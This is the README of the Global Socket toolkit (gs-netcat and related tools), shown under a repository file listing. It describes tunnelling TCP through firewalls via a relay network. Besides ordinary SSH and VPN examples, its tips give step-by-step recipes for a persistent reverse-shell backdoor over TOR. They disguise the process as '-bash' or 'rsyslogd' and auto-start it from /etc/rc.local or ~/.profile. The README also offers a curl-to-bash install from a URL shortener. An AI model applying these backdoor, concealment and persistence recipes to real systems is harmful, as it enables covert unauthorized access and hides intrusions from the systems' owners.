• Home
  • History
  • Annotate
Name Date Size #Lines LOC

..03-May-2022-

config/H31-Mar-2021-5,7114,617

examples/H31-Mar-2021-866697

include/H31-Mar-2021-1,7241,394

lib/H31-Mar-2021-5,9814,294

man/H31-Mar-2021-1,1791,070

tests/H31-Mar-2021-1,3961,161

tools/H03-May-2022-14,59310,641

LICENSEH A D31-Mar-20211.3 KiB2625

Makefile.amH A D31-Mar-2021172 42

Makefile.inH A D31-Mar-202125 KiB805708

README.mdH A D31-Mar-202113.8 KiB264212

aclocal.m4H A D31-Mar-202143.9 KiB1,2221,109

bootstrapH A D31-Mar-2021935 5036

config.h.inH A D31-Mar-20214.7 KiB188125

configureH A D31-Mar-2021218.6 KiB7,6906,418

configure.acH A D31-Mar-20216.4 KiB209174

README.md

1# Global Socket
2<!---
3See https://shields.io/category/license
4[![License: MIT](https://img.shields.io/github/license/hackerschoice/gsocket)](https://opensource.org/licenses/MIT)
5[![Github file count](https://img.shields.io/github/directory-file-count/hackerschoice/gsocket\?style\=plastic)](https://GitHub.com/hackerschoice/gsocket/)
6--->
7[![GitHub release](https://img.shields.io/github/release/hackerschoice/gsocket\?style\=plastic)](https://github.com/hackerschoice/gsocket/releases/)
8[![License](https://img.shields.io/badge/License-BSD%202--Clause-orange.svg?style=plastic)](https://opensource.org/licenses/BSD-2-Clause)
9[![GitHub Build](https://img.shields.io/badge/build-passing-green.svg\?style\=plastic\&logo\=appveyor)](https://www.gsocket.io/)
10[![GitHub Quality](https://img.shields.io/badge/quality-A-green.svg\?style\=plastic)](https://www.gsocket.io/)
11[![GitHub Platform](https://img.shields.io/badge/platform-linux\|osx\|cygwin\|FreeBSD-green.svg\?style\=plastic)](https://www.gsocket.io/)
12[![GitHub coverage](https://img.shields.io/badge/coverage-100%25-green.svg\?style\=plastic)](https://www.gsocket.io/)
13[![Maintenance](https://img.shields.io/badge/Maintained-yes-green.svg\?style\=plastic)](https://github.com/hackerschoice/gsocket/graphs/commit-activity)
14[![Website shields.io](https://img.shields.io/website-up-down-green-red/http/www.gsocket.io.svg\?style\=plastic)](https://www.gsocket.io/)
15[![Github all downloads](https://img.shields.io/github/downloads/hackerschoice/gsocket/total\?style\=plastic)](https://GitHub.com/hackerschoice/gsocket/)
16[![GitHub telegram](https://img.shields.io/badge/chat-telegram-blue.svg\?style\=plastic\&logo\=telegram)](https://t.me/thcorg/)
17[![GitHub twitter](https://img.shields.io/twitter/follow/hackerschoice?label=Follow)](https://twitter.com/hackerschoice)
18[![GitHub stars](https://img.shields.io/github/stars/hackerschoice/gsocket\?style\=social)](https://GitHub.com/hackerschoice/gsocket/stargazers/)
19
20**Connect like there is no firewall. Securely.**
21
22The Global Socket Tookit allows two users behind NAT/Firewall to establish a TCP connection with each other. Securely.
23
24[![Watch the video](https://www.gsocket.io/assets/images/eeelite-console-640x378.png)](https://www.youtube.com/watch?v=tmf9VGDPILE)
25
26Video 1: [gs-netcat reverse login shell and EEElite-console](https://www.youtube.com/watch?v=tmf9VGDPILE)
27Video 2: [Using gsocket to hijack OpenSSH](https://www.youtube.com/watch?v=Nn6BAeeVJIc)
28Video 3: [Blitz files through firewalls](https://www.thc.org/gsocket-anim2.gif)
29
30
31**Features:**
32- Uses the Global Socket Relay Network to connect TCP pipes
33- End-2-End encryption (using OpenSSL's SRP / [RFC 5054](https://tools.ietf.org/html/rfc5054))
34- AES-256 & key exchange using 4096-bit Prime
35- No PKI required.
36- Perfect Forward Secrecy
37- TOR support (optional)
38
39Abandon the thought of IP Addresses and Port Numbers. Instead start thinking that two programs should be able to communicate with each other as long as they know the same secret (rather than each other\'s IP Address and Port Number). The Global Socket library facilitates this: It locally derives temporary session keys and IDs and connects two programs through the Global Socket Relay Network (GSRN) regardless and independent of the local IP Address or geographical location. Once connected the library then negotiates a secure TLS connection(End-2-End). The secret never leaves your workstation. **The GSRN sees only the encrypted traffic**.
40
41The GSRN is a free cloud service and is free to use by anyone.
42
43The Global Socket Toolkit comes with a set of tools:
44* **gsocket** - Makes an existing program (behind firewall or NAT) accessible from anywhere in the world. It does so by analyzing the program and replacing the IP-Layer with its own Gsocket-Layer. A client connection to a hostname ending in *'\*.gsocket'* then gets automatically redirected (via the GSRN) to this program.
45* **gs-netcat** - Netcat on steroids. Turn gs-netcat into an AES-256 encrypted reverse backdoor via TOR (optional) with a true PTY/interactive command shell (```gs-netcat -s MySecret -i```), integrated file-transfer, spawn a Socks4/4a/5 proxy or forward TCP connections or give somebody temporary shell access.
46* **gs-sftp** - sftp server & client between two firewalled workstations (```gs-sftp -s MySecret```)
47* **gs-mount** - Access and mount a remote file system (```gs-mount -s MySecret ~/mnt/warez```)
48* **blitz** - Copy data from workstation to workstation (```blitz -s MySecret /usr/share/*```)
49* ...many more examples and tools.
50
51<A></A>|<A></A>
52----------|-------------
53Download|[gsocket-1.4.27.tar.gz](https://github.com/hackerschoice/gsocket/releases/download/v1.4.27/gsocket-1.4.27.tar.gz) (Linux, MacOS, FreeBSD, Solaris)
54Debian/Ubuntu| [gsocket_1.4.27_all.deb](https://github.com/hackerschoice/binary/raw/main/gsocket/latest/gsocket_1.4.27_all.deb)
55Windows| use docker or cygwin
56Man Page| [gsocket(1)](https://hackerschoice.github.io/gsocket.1.html), [gs-netcat(1)](https://hackerschoice.github.io/gs-netcat.1.html), [gs-mount(1)](https://hackerschoice.github.io/gs-mount.1.html), [gs-sftp(1)](https://hackerschoice.github.io/gs-sftp.1.html), [blitz(1)](https://hackerschoice.github.io/blitz.1.html)
57Docker|  docker run --rm -it hackerschoice/gsocket
58Docker| docker run --rm -it hackerschoice/gsocket-tor # gs via TOR
59
60---
61**Examples**
62<A></A>|<A></A>
63----------|-------------
64All| [examples](examples)
65OpenSSH via GSRN| [examples/sshd](examples/sshd)
66WireGuard via GSRN| [examples/wireguard](examples/wireguard)
67Root-Shell via GSRN| [examples/systemd-root-shell](examples/systemd-root-shell)
68IRCD via GSRN| [examples/port-forward](examples/port-forward)
69
70---
71**Installation:**
72```
73$ /bin/bash -c "$(curl -fsSL https://tiny.cc/gsinst)"
74```
75---
76**Usage:**
77
781. SSH from *Workstation B* to *Workstation A* through any firewall/NAT
79```
80$ gsocket /usr/sbin/sshd     # Workstation A
81$ gsocket ssh root@gsocket   # Workstation B
82```
83See also: [gsocket(1)](https://hackerschoice.github.io/gsocket.1.html)
84
852. OpenVPN between two firewalled workstations:
86```
87$ gsocket openvpn --dev tun1 --proto tcp-server --ifconfig 10.9.8.1 10.9.8.2                   # Workstation A
88$ gsocket openvpn --dev tun1 --proto tcp-client --ifconfig 10.9.8.2 10.9.8.1 --remote gsocket  # Workstation B
89```
90See also: [gsocket(1)](https://hackerschoice.github.io/gsocket.1.html)
91
923. Log in to Workstation A from Workstation B through any firewall/NAT
93```
94$ gs-netcat -l -i   # Workstation A
95$ gs-netcat -i      # Workstation B
96```
97See also: [gs-netcat(1)](https://hackerschoice.github.io/gs-netcat.1.html)
98
992. Transfer files from *Workstation B* to *Workstation A*
100```
101$ blitz -l                         # Workstation A
102$ blitz /usr/share/*  /etc/*       # Workstation B
103```
104See also: [blitz(1)](https://hackerschoice.github.io/blitz.1.html)
105
1063. SFTP through Global Socket Relay Network
107```
108$ gs-sftp -l                  # Workstation A
109$ gs-sftp                     # Workstation B
110```
111See also: [gs-sftp(1)](https://hackerschoice.github.io/gs-sftp.1.html)
112
1134. Mount *Workstation A's* directory from  *Workstation B*
114```
115$ gs-mount -l                # Workstation A
116$ gs-mount ~/mnt             # Workstation B
117```
118See also: [gs-mount(1)](https://hackerschoice.github.io/gs-mount.1.html)
119
1205. Pipe data from Workstation B to Workstation A
121```
122$ gs-netcat -l -r >warez.tar.gz    # Workstation A
123$ gs-netcat <warez.tar.gz          # Workstation B
124```
125
1266. Port forward. *Workstation B's* Port 2222 is forwarded to 192.168.6.7 on *Workstation A's* private LAN
127```
128$ gs-netcat -l -d 192.168.6.7 -p 22 # Workstation A
129$ gs-netcat -p 2222                 # Workstation B
130$ ssh -p 2222 root@127.0.0.1        # Will ssh to 192.168.6.7:22 on Host's private LAN
131...or...
132$ gs-netcat -s MySecret -l -d 192.168.6.7 -p 22                   # Workstation A
133$ ssh -o ProxyCommand='gs-netcat -s MySecret' root@doesnotmatter  # Workstation B
134```
135
1367. Execute any command (nc -e style) on *Workstation A*
137```
138$ gs-netcat -l -e "echo hello world; id; exit"   # Workstation A
139$ gs-netcat                                      # Workstation B
140```
141
1428. Quick Secure Chat with a friend
143```
144$ gs-full-pipe -s MySecret -A               # You
145$ gs-full-pipe -s MySecret -A               # Them
146```
147
1489. Access entirety of *Workstation A's* private LAN (Sock4/4a/5 proxy)
149```
150$ gs-netcat -l -S          # Workstation A
151$ gs-netcat -p 1080        # Workstation B
152
153Access www.google.com via Workstation A's private LAN from your Workstation B:
154$ curl --socks4a 127.1:1080 http://www.google.com
155
156Access fileserver.local:22 on Workstation A's private LAN from your Workstation B:
157$ socat -  "SOCKS4a:127.1:fileserver.local:22"
158```
159
16010. Persistant, daemonized and auto-respawn/watchdog reverse PTY backdoor via TOR
161```
162$ gs-netcat -l -i -D    # some firewalled server
163$ gs-netcat -i -T       # You, via TOR
164```
165
16611. SoCAT 2
167```
168gs-netcat can be used in a socat address-chain using the EXEC target. Happy bouncing. Enjoy. :>
169```
170---
171**Pro-Tips:**
172
1731. Force TOR or fail:
174Add -T to relay your traffic through TOR or use these environment variable to force TOR or fail gracefully if TOR is not running:
175```
176$ export GSOCKET_SOCKS_IP=127.0.0.1
177$ export GSOCKET_SOCKS_PORT=9050
178```
179
1802. A reverse backdoor
181
182The backdoor supports multiple concurrent connections and spawns a real PTY/interactive-shell with ctrl-c and colors working (like OpenSSH does).
183```
184$ gs-netcat -k keyfile.txt -l -i    # Host
185$ gs-netcat -k keyfile.txt -T -i    # Workstation (via Tor & Global Socket Relay)
186```
187
188Add -D on the host side to run gs-netcat as a daemon and in watchdog-mode: The backdoor will automatically restart if it is ever killed.
189
1903. Use -k
191
192Using -s is not secure. Add your *secret* to a file and use -k &lt;filen&gt; or use GSOCKET_ARGS or enter the password when prompted.
193
194```
195$ gs-netcat -k MyFile.txt
196
197$ export GSOCKET_ARGS="-s MySecret"
198$ gs-netcat -l
199```
200
201Use this command to generate a new secure password at random:
202```
203$ gs-netcat -g
204```
205
2064. Hide your arguments (argv)
207
208Pass the arguments by environment variable (GSOCKET_ARGS) and use a bash-trick to hide gs-netcat binary in the process list:
209```
210$ export GSOCKET_ARGS="-s MySecret -li -q -D"
211$ exec -a -bash ./gs-netcat &     # Hide as '-bash'.
212$ ps alxww | grep gs-netcat
213
214$ ps alxww | grep -bash
215  1001 47255     1   0  26  5  4281168    436 -      SNs    ??    0:00.00 -bash
216```
217
2185. Start backdoor after reboot
219
220Combine what you have learned so far and make your backdoor restart after reboot (and as a hidden service obfuscated as *rsyslogd*). Use any of the start-up scripts, such as */etc/rc.local*:
221```
222$ cat /etc/rc.local
223#! /bin/sh -e
224
225GSOCKET_ARGS="-s MySecret -liqD" HOME=/root TERM=xterm-256color SHELL="/bin/bash" /bin/bash -c "cd $HOME; exec -a rsyslogd /usr/local/bin/gs-netcat"
226
227exit 0
228```
229During bootup the environment variables are not all set. Thus we set some values to make the backdoor more enjoyable (optionally): *TERM=xterm-256color* and *SHELL=/binb/bash* and *HOME=/root*. Next the startup script (*/etc/rc.local*) uses */bin/sh* which does not support our *exec -a* trick. Thus we use */bin/sh* to start */bin/bash* which in turn does the *exec -a* trick and starts *gs-netcat*. Puh. The gs-netcat process is hidden (as *rsyslogd*) from the process list.Read [how to enable rc.local](https://linuxmedium.com/how-to-enable-etc-rc-local-with-systemd-on-ubuntu-20-04/) if */etc/rc.local* does not exist.
230
231Starting when the user logs in (and only once) can be done by adding this line to the user's *~/.profile* file:
232```
233killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s MySecret2 -liqD" SHELL=/bin/bash exec -a -bash /usr/local/bin/gs-netcat)
234```
235
236Starting a port-forward during bootup. This one forwards TCP to 127.0.0.1:22 (example):
237```
238GSOCKET_ARGS="-k MySecret3 -lqD -d 127.1 -p22"  /bin/bash -c "exec -a rsyslogp /usr/local/bin/gs-netcat"
239```
240
241---
242**Crypto / Security Mumble Jumble**
2431. The security is end-2-end. This means from User-2-User (and not just to the Relay Network). The Relay Network relays only (encrypted) data to and from the Users.
2442. The session key is 256 bit and ephemeral. It is freshly generated for every session and generated randomly (and is not based on the password).
2453. The password can be 'weak' without weakening the security of the session. A brute force attack against a weak password requires a new TCP connection for every guess.
2464. Do not use stupid passwords like 'password123'. Malice might pick the same (stupid) password by chance and connect. If in doubt use *gs-netcat -g* to generate a strong one. Alice's and Bob's password should at least be strong enough so that Malice can not guess it by chance while Alice is waiting for Bob to connect.
2475. If Alice shares the same password with Bob and Charlie and either one of them connects then Alice can not tell if it is Bob or Charlie who connected.
2486. Assume Alice shares the same password with Bob and Malice. When Alice stops listening for a connection then Malice could start to listen for the connection instead. Bob (when opening a new connection) can not tell if he is connecting to Alice or to Malice. Use -a &lt;token&gt; if you worry about this. TL;DR: When sharing the same password with a group larger than 2 then it is assumed that everyone in that group plays nicely. Otherwise use SSH over the GS/TLS connection.
2497. SRP has Perfect Forward Secrecy. This means that past sessions can not be decrypted even if the password becomes known.
2508. It is possible (by using traffic analytics) to determine that Alice is communicating with Bob. The content of such communcitation is however secret (private)  and can not be revealed by an ISP or the GSRN backend. The gsocket tools (such as gs-netcat) support the -T flag to anonymize the traffic via TOR.
2519. I did not invent SRP. It's part of OpenSSL :>
252---
253
254             If netcat is a swiss army knife then gs-netcat is a germanic battle axe...
255                                                                    --acpizer/UnitedCrackingForce
256
257Join us
258
259Telegram: https://t.me/thcorg
260
261Twitter: https://twitter.com/hackerschoice
262
263shoutz: D1G, xaitax, #!adm
264